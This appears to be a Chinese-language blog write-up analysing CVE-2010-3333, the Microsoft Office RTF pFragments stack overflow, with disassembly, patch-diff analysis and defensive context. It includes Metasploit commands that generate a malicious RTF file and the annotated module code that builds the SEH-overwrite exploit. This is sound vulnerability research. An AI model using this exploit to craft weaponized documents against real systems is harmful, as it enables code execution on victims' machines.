CVE-2010-3333 漏洞研究

7erry

Microsoft Office 是微软发布的非常流行的办公软件套件。CVE-2010-3333(微软编号:MS10-087)是 MicrosoftOffice XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010,MacOffice 2004 和 Office 2008,MacOffice 2011 和 Mac 的 Open XML 文件格式转换器中的栈溢出漏洞。主要是在处理 RTF 中的 pFragments 属性时存在栈溢出,导致攻击者可以借助特制的 RTF 数据执行任意代码,因此该漏洞又名“RTF栈缓冲区溢出漏洞”

影响范围:
Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for
Mac, Office for Mac 2011

RTF 文件

RTF(Rich Text Format)是 Microsoft 为进行文本和图像信息格式的交换而制定的一种文件格式,它适用于不同的设备、操作环境和操作系统。RTF 文件只能包含 7 位 ASCII 字符,但可以通过转义序列对超出 ASCII 范围的字符进行编码。一个 RTF 文件包含了控制字(Control Word)、控制符(Control Symbol)、群组(Group)和正文(Text)等基本元素。其中,控制字是 RTF 用来标记打印控制符和管理文档信息的一种特殊格式的命令,也是正文格式的控制代码,每个控制字均以一个反斜杠\开头,由 a-z 小写字母组成,通常应该不包含任何大写字母,并由分隔符作为其名称的结束,其使用格式为\\[a-z]+<分隔符>(正则);控制符号由反斜杠后跟一个单独的非字母字符,表示一个特定符号;群组由包含在大括号中的文本、控制字或控制符组成,每个组包含文本和文本的不同属性。

控制字的名称不能超过32个字母,且最初是不包含任何大写字母的,但是近年来,一些较新的控制字会由大写字母组成。因此其使用格式的正则表达式可重新书写为\\[a-zA-Z]+<分隔符>。此处的分隔符可以是一个空格,一个数字,一个 ASCII 减号甚至是除数字和字母外的任何字符

一个完整的 RTF 文件将包含文件头和文档区两大部分,可通过下列语法表示

1
<File> '{' <header> <document> '}'

通过微软官方文档的目录可以了解到文件头和文档区各自所包含的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Contents of an RTF file
Header
RTF Version
Character Set
Unicode RTF
Default Fonts and Languages
Theme Data
Color Scheme Mapping
Font Table
File Table
Color Table
Default Properties
Style Sheet
List Tables
Paragraph Group Properties
Revision Marks
User Protection Information
Document Area
Information Group
Read-Only Password Protection
XML Namespace Table
Document Formatting Properties
Mail Merge
Section Text
Paragraph Text
Mathematics
Character Text
Document Variables
Bookmarks
Protection Exceptions
Pictures
Custom XML Tags
Objects
Drawing Objects
Footnotes
Comments (Annotations)
Fields
Index Entries
Table of Contents Entries
Bidirectional Language Support

需要注意的是文档区存在 Drawing Objects 数据,这意味着 RTF 文件可以插入图形。图形对象的主体被定义为一系列属性。控制字\shp…后面跟着\*\shpinst,然后是一个形状的所有属性列表,其中{ \sp { \sn .......... } { \sp .............. } }是这个图形的属性组,sp 是 shape properties 的缩写,sn 表示属性名称,sv 表示属性值。图形在 RTF 文件中的格式如下

1
2
{ \shp   ........  { \*\shpinst  { \sp  { \sn .......... }  { \sv .............. }  }  }
{ \shprslt ............... } }

图形的属性组中存在着一个属性叫做 pFragments,它是一个数组结构,表示图形的可选附加部分,列出了图形的所有碎片

该漏洞的成因正是 Open XML 文件格式转换器在处理 RTF 中的 pFragments 属性值时,没有正确计算属性值占用的空间大小进而产生了栈溢出漏洞

漏洞分析

调试 MSF 生成的 exp 样本进行漏洞复现会发现 Word 打开木马 RTF 文件后执行到

1
rep movs dword ptr es:[edi],dword ptr [esi]

指令后抛出异常并中断了,该指令为循环拷贝指令。查看 edi 寄存器内的拷贝目标内存地址,发现该内存区域禁止读写,因此出现 segmentation fault 而触发异常。通过抛出异常的指令的内存地址初步判断漏洞代码位于 MSO.DLL 库,使用 IDA 分析该库

MSO.DLL 文件 meta 数据如下

1
2
3
4
5
6
7
8
9
10
11
12
File Name   : MSO.DLL
Format : Portable executable for 80386 (PE)
Imagebase : 30C90000
Timestamp : 46771B00 (Mon Jun 18 23:53:36 2007)
Section 1. (virtual address 00001000)
Virtual size : 00977A59 (9927257.)
Section size in file : 00977C00 (9927680.)
Offset to raw data for section: 00000400
Flags 60000020: Text Executable Readable
Alignment : default

Imports from ADVAPI32.dll

由于操作系统与软件所处年代较早,MSO.DLL 几乎没有采用任何防御机制,例如能通过反汇编代码看出它没有开启 GS ,其 IMAGE_OPTIONAL_HEADER 中的 DllCharacteristics 字段未设置 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 标志,因此它也没开启 DEP,甚至哪怕 MOS.DLL 开启了 DEP 但 Windows XP SP3 也不支持该保护,除此之外 SafeSEH,ControlFlowGuard 等保护也未开启,唯一开启的保护机制是 Word 的 ASLR 而非 MOS.DLL 的(Windows XP 只支持 PEB、TEB 的 ASLR,不支持映像的 ASLR,即 MOS.DLL 的加载基址不会发生改变)。因此漏洞利用时可采用包括但不限于 SEH 与 ROP 在内的攻击手段去写入 shellcode

采用栈回溯(Stack Backtrace)的漏洞分析方式,查看程序崩溃时的函数调用栈,将断点下到抛出异常的指令所属的函数的主调函数处,观察程序行为后定位到的漏洞代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:30ED4406                               ; void __stdcall sub_30ED4406(int, void *, int)
.text:30ED4406 sub_30ED4406 proc near ; DATA XREF: .text:30DA33F4↑o
.text:30ED4406
.text:30ED4406 arg_0= dword ptr 4
.text:30ED4406 arg_4= dword ptr 8
.text:30ED4406 arg_8= dword ptr 0Ch
.text:30ED4406
.text:30ED4406 57 push edi
.text:30ED4407 8B 7C 24 0C mov edi, [esp+4+arg_4]
.text:30ED440B 85 FF test edi, edi
.text:30ED440D 74 27 jz short loc_30ED4436
.text:30ED440D
.text:30ED440F 8B 44 24 08 mov eax, [esp+4+arg_0]
.text:30ED4413 8B 48 08 mov ecx, [eax+8]
.text:30ED4416 81 E1 FF FF 00 00 and ecx, 0FFFFh
.text:30ED441C 56 push esi
.text:30ED441D 8B F1 mov esi, ecx
.text:30ED441F 0F AF 74 24 14 imul esi, [esp+8+arg_8]
.text:30ED4424 03 70 10 add esi, [eax+10h]
.text:30ED4427 8B C1 mov eax, ecx
.text:30ED4429 C1 E9 02 shr ecx, 2
.text:30ED442C F3 A5 rep movsd
.text:30ED442E 8B C8 mov ecx, eax
.text:30ED4430 83 E1 03 and ecx, 3
.text:30ED4433 F3 A4 rep movsb
.text:30ED4435 5E pop esi
.text:30ED4435
.text:30ED4436
.text:30ED4436 loc_30ED4436: ; CODE XREF: sub_30ED4406+7↑j
.text:30ED4436 5F pop edi
.text:30ED4437 C2 0C 00 retn 0Ch
.text:30ED4437
.text:30ED4437 sub_30ED4406 endp

反编译

1
2
3
4
5
6
7
8
void __stdcall sub_30ED4406(int a1, void *a2, int a3)
{
if ( a2 )
qmemcpy(
a2,
(const void *)(*(_DWORD *)(a1 + 16) + a3 * (unsigned __int16)*(_DWORD *)(a1 + 8)),
(unsigned __int16)*(_DWORD *)(a1 + 8));
}

可以发现该漏洞为没有检测 memcopy 的数据长度导致的栈溢出

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search CVE-2010-3333

搜索结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Matching Modules
================

# Name
Disclosure Date Rank Check Description
- ----
--------------- ---- ----- -----------
0 exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
2010-11-09 great No MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
1 \_ target: Automatic
. . . .
2 \_ target: Microsoft Office 2002 SP3 English on Windows XP SP3 English . . . .
3 \_ target: Microsoft Office 2003 SP3 English on Windows XP SP3 English . . . .
4 \_ target: Microsoft Office 2007 SP0 English on Windows XP SP3 English . . . .
5 \_ target: Microsoft Office 2007 SP0 English on Windows Vista SP0 English . . . .
6 \_ target: Microsoft Office 2007 SP0 English on Windows 7 SP0 English . . . .
7 \_ target: Crash Target for Debugging
. . . .


Interact with a module by name or index. For example info 7, use 7 or use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
After interacting with a module you can manually set a TARGET with set TARGET 'Crash Target for Debugging'

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
       Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-11-09

Provided by:
wushi of team509
unknown
jduck <jduck@metasploit.com>
DJ Manila Ice, Vesh, CA

Available targets:
Id Name
-- ----
=> 0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.

Payload information:
Space: 512
Avoid: 1 characters

Description:
This module exploits a stack-based buffer overflow in the handling of the
'pFragments' shape property within the Microsoft Word RTF parser. All versions
of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the
MS10-087 bulletin are vulnerable.

This module does not attempt to exploit the vulnerability via Microsoft Outlook.

The Microsoft Word RTF parser was only used by default in versions of Microsoft
Word itself prior to Office 2007. With the release of Office 2007, Microsoft
began using the Word RTF parser, by default, to handle rich-text messages within
Outlook as well. It was possible to configure Outlook 2003 and earlier to use
the Microsoft Word engine too, but it was not a default setting.

It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that
Microsoft will confirm or deny this since Office 2000 has reached its support
cycle end-of-life.

References:
https://nvd.nist.gov/vuln/detail/CVE-2010-3333
OSVDB (69085)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-087
http://www.securityfocus.com/bid/44652
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880


View the full module info with the info -d command.

使用该模块生成木马 RTF 文件

1
2
3
4
5
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 0
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set FILENAME Crash.rtf
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb

Exp 的内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

#* 注册模块元数据信息的初始化函数
def initialize(info = {})
super(update_info(info,
'Name' => 'MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => ...,
'References' => ...,
'DefaultOptions' => ...,
'Payload' => ...,
'Platform' => 'win',
'Targets' => ...,
'DisclosureDate' => '2010-11-09',
'DefaultTarget' => 0))

register_options(...)
end

def add_target(rest, targ)
...
end

def exploit
...
end

def sz_rand
#* 生成一个不是 0,2,4,8 之一的 0 到 8 的随机数
bad_sizes = [ 0, 2, 4, 8 ]
x = rand(9)
while bad_sizes.include? x
x = rand(9)
end
x
end
end

其中与实际漏洞利用密切相关的两个函数的具体执行流为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
def add_target(rest, targ)
#* 将生成的 SEH 记录和跳转指令插入到指定的偏移位置以构建 exploit
targ['Offsets'].each { |off|
seh = generate_seh_record(targ.ret)
rest[off, seh.length] = seh
distance = off + seh.length
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
rest[off + seh.length, jmp_back.length] = jmp_back
}
end

def exploit
# Prepare a sample SEH frame and backward jmp for length calculations
#* 生成一个 SEH 记录
seh = generate_seh_record(0xdeadbeef)
#* 生成跳回用的跳转指令
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0xffff").encode_string

# RTF property Array parameters
#* 生成随机数以作为 RTF 文件的属性参数
el_size = sz_rand()
el_count = sz_rand()

data = ''
# These words are presumably incorrectly used
# assert(amount1 <= amount2)
data << [0x1111].pack('v') * 2
data << [0xc8ac].pack('v')

# Filler
if target.name =~ /Debug/i
rest = Rex::Text.pattern_create(0x10000 + seh.length + jmp_back.length)
else
len = 51200 + rand(1000)
rest = rand_text(len + seh.length + jmp_back.length)
rest[0, payload.encoded.length] = payload.encoded
end

# Stick fake SEH frames here and there ;)
if target.name == "Automatic"
targets.each { |t|
next if t.name !~ /Windows/i

add_target(rest, t)
}
else
add_target(rest, target)
end

# Craft the array for the property value
#* 拼接 payload 和填充的数据
sploit = "%d;%d;" % [el_size, el_count]
sploit << data.unpack('H*').first
sploit << rest.unpack('H*').first

# Assemble it all into a nice RTF
#* 将 payload 包装进 RTF 文件
content = "{\\rtf1"
content << "{\\shp" # shape
content << "{\\sp" # shape property
content << "{\\sn pFragments}" # property name
content << "{\\sv #{sploit}}" # property value
content << "}"
content << "}"
content << "}"

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(content)

end

其具体执行方式如下图所示(转自Sp4n9x的博客)

seh

MSF 生成的 Exp 选择了采取较为典型的基于 SEH 的攻击手段写入 Shellcode,如漏洞分析部分所言也可以通过 ROP 技术达到相同的效果,在此不过多赘述

漏洞修复

由于该漏洞较为久远且 Microsoft 的网站发生了很大改变,现在很难找得到当时的补丁。作为替代,在此转述Sp4n9x漏洞复现博客的漏洞修复部分

之前分析漏洞原因时,关键漏洞函数位于“12.0.4518.1014”版mso.dll的sub_32E5955E函数中,通过函数名,我们可以在Matched Functions中快速定位,找到之后,双击,就可以打开“12.0.4518.1014”版mso.dll的sub_32E5955E函数与“12.0.6545.5004”版mso.dll中的对应函数sub_32E0239B的FlowGraphs。通过对比代码块,我们可以快速定位到添加补丁代码的位置。下图是两个函数代码块的对比图:

bin diff

我们在IDA中找到多出来的那部分代码块,对其进行详细分析。结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//补丁前关键函数关键代码
char __userpurge sub_32E5955E@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6)
{
......
if ( a6 )
{
v7 = *(_DWORD *)(sub_327A2549(*(_DWORD *)(a1 + 8)) + 100);
v17 = 0;
v8 = *(_DWORD *)v7;
v16 = 83886080;
(*(void (__stdcall **)(int, int *, int))(v8 + 28))(v7, &v15, a3);
result = sub_32E5941B(v15, a2, a5 != 0 ? (unsigned int)&v17 : 0, a6);
if ( result )
{
......
}
}
else
{
sub_32E6AEA8(863334498);
result = 0;
}
return result;
}

//补丁后关键函数关键代码
char __userpurge sub_32E0239B@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6)
{
......
if ( a6 )
{
v7 = *(_DWORD *)(sub_327DAFBD(*(_DWORD *)(a1 + 8)) + 100);// v7为关键对象首地址
v16 = 0;
v15 = 83886080;
// 这些条件则为补丁代码
if ( v7 // 关键对象首地址不为0
&& (unsigned int)(*(int (__stdcall **)(int))(*(_DWORD *)v7 + 48))(v7) <= 4// 复制数据长度不能大于4
&& (*(int (__stdcall **)(int))(*(_DWORD *)v7 + 44))(v7) > a4// 关键对象第一个成员变量>a4
&& (*(int (__stdcall **)(int))(*(_DWORD *)v7 + 44))(v7) > a3// 关键对象第一个成员变量>a3
&& a3 >= 0
&& a4 >= 0
// 将pFragments属性数据复制到栈上的虚函数
&& ((*(void (__stdcall **)(int, int *, int))(*(_DWORD *)v7 + 28))(v7, &v14, a3),
(unsigned __int8)sub_32E02258(v14, a2, a5 != 0 ? (unsigned int)&v16 : 0, a6)) )
{
......
}
else
{
result = 0;
}
}
else
{
sub_32E197A4(863334498);
result = 0;
}
return result;
}

可以看到补丁后的关键函数中只有满足了那个关键if中的很多条件才能执行到将pFragments属性数据复制到栈上的虚函数。因为涉及到了很多虚函数,只是静态分析是不行的,所以要结合动态调试确定虚函数的地址,进而分析虚函数的功能。功能我已经分析完,写在了上面代码的注释中。其中第一个条件就是判断pFragments属性数据长度的。如果pFragments属性数据大于4字节,则不再执行内存复制,直接返回,从而解决了此漏洞。

Reference

NVD - CVE-2010-3333
CVE - CVE-2010-3333
漏洞战争
sp4n9x’blog

  • Title: CVE-2010-3333 漏洞研究
  • Author: 7erry
  • Created at : 2024-08-18 22:49:06
  • Updated at : 2024-08-18 22:49:06
  • Link: http://7erry.com/2024/08/18/CVE-2010-3333-漏洞研究/
  • License: This work is licensed under CC BY-NC 4.0.